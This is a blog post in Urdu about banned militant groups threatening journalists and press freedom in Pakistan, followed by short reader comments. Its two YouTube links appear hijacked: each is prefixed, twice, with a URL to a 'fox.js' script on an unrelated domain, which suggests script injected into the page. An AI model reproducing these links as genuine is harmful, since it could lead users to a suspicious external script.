Banned militant groups are biggest threat to free press
پاکستان میں ذرائع ابلاغ کے جدید دور میں مقتدرہ قوتیں اور ان کے معاون وہ فرقہ وارانہ دہشت پسند گروہ جو مذہب اور فرقے کی بنیاد پر کلاشنکوف سے مسلح کۓ گۓ تھے، جنہوں نے افغانستان کو پانجواں صوبہ بنانے کے ساتھ ساتھ ‘لال قلعے’ پر قومی پرچم لہرانا تھا، آج آذاد میڈیا کی راہ میں بڑی رکاوٹ اور صحافیوں کی ذندگی کے لۓ سب سے بڑا خطرہ بن گۓ ہیں۔
یہ وہ مذہبی اور فرقہ وارانہ کالعدم گروہ ہیں، جو منطق اور دلیل کی بجاۓ گولی اور بندوق کی طاقت پر یقین رکھتے ہیں، یہ نظریہ پاکستان اور دفاع پاکستان کا لیبل دہشت کے ساتھ استعمال کرکے عوام اور آذاد صحافیوں کو خوف ذدہ کررہے ہیں۔ انہوں نے ‘اطاعت پسند صحافت’ بنانے کے لۓ دہشت کا ہتھیارہمیشہ استعمال کیا ہے، اور بالغصوص قبائلی علاقوں میں اگر کسی نے آذاد صحافت کی جرات کی تواسے جان سے ہاتھ دھونا پڑی۔ صحافی مکرم خان عاطف کا قتل اسی سلسلہ کی کڑی ہے، جس نے ‘طالبان’ کی ‘اطاعت’کی بجاۓ اذادانہ صحافت کو ترجیح دی۔
ابھی حال میں ہی وجاہت ايس خان نے ‘آج ٹی وی’ پراپنے ‘ٹاک شو’ ‘اختلاف’ میں دفاع پاکستان کے رہنما’ ا فغان وار’ کے ہیرو سابق ڈی جی آئ ایس آئ جنرل حمید گل کا انٹرویو کیا، جس کے بعد ان کو قتل کی دھمکیاں ملنا شروع ہوگئ، اور صحافتی حلقوں میں تشوئش اور خوف کی لہر دوڈنے لگی۔
ممتاز صحافی نصرت جاوید کا زیر نظر کالم اسی خوف اور تشویش کے تناظر میں لکھا گیا ہے ، جس میں وہ دیانتداری سے اعتراف کرتے ہیں کہ ان کے اور دیگر صحافیوں کے لیے بہت مشکل یا نا ممکن ہے تشدد پسندانہ جہادی فرقہ وارانہ تنظیموں کی نقاب کشائی کرنا حتیٰ کہ ان کے بارے میں اظہارخیال بھی کرنا –
نصرت جاوید وجاہت ایس خان کو مذہبی فرقہ وارانہ کالعدم تنظیموں کی جانب سے موصول ہونے والی دھمکی کا بھی تذکرہ کرتے ہیں – اس کالم سے واضح ہوتا ہے کہ پاکستان کے صحافیوں کی اکثریت نا صرف غیر نمائندہ ریاستی اداروں اور ایجنسیوں کے دباؤ اور خوف میں ہے جیسا کہ سلیم شہزاد، جاوید رند بلوچ اور دیگر متعدد صحافیوں کا مبینہ قتل بلکہ جہادی فرقہ وارانہ کالعدم تنظیمیں جواب ‘دفاع پاکستان’ کے بینر تلے اکٹھی ہورہی ہیں، یہ جن کے بارے میں غالب راۓ یہ ہے کہ عسکری اور خفیہ ادارے انہیں سیاسی مقصدکے لۓ اکٹھا کر رہے ہیں، بھی صحافیوں کے خلاف دھمکیوں اور تشدد میں ملوث ہیں – ہم پاکستان کی حکومت اور سپریم کورٹ سے مطالبہ کرتے ہیں کہ صحافیوں کے تحفظ اور ان کے آزادی اظہار کو یقینی بنانے کے لۓ فوری اقدامات کرے۔
http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=GsS0jgDBXNE
Jamaat ud Dawa reaction (JuD Threat to Media) Bolta Pakistan
http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=D9KE7Z1utOI&feature=related
Good article and good commentary note.
Media persons must realize that Saleem Shahzad was not the first and he will not be last. Either stand united or leave this profession. A third option is to surrender to ISI-SSP-ASWJ-LeJ militants.
Pakistani security forces,media,common people all were being attacked through the IEDs by the terrorists and still we can do nothing to stop these devices.
It is important that as the people are now realizing the harm this violent ideology has caused to our society and are leaving the ranks of extremist groups, this should also be discussed in the media.
terrorist are using improvised explosive devices.there should be a criteria to monitor such devices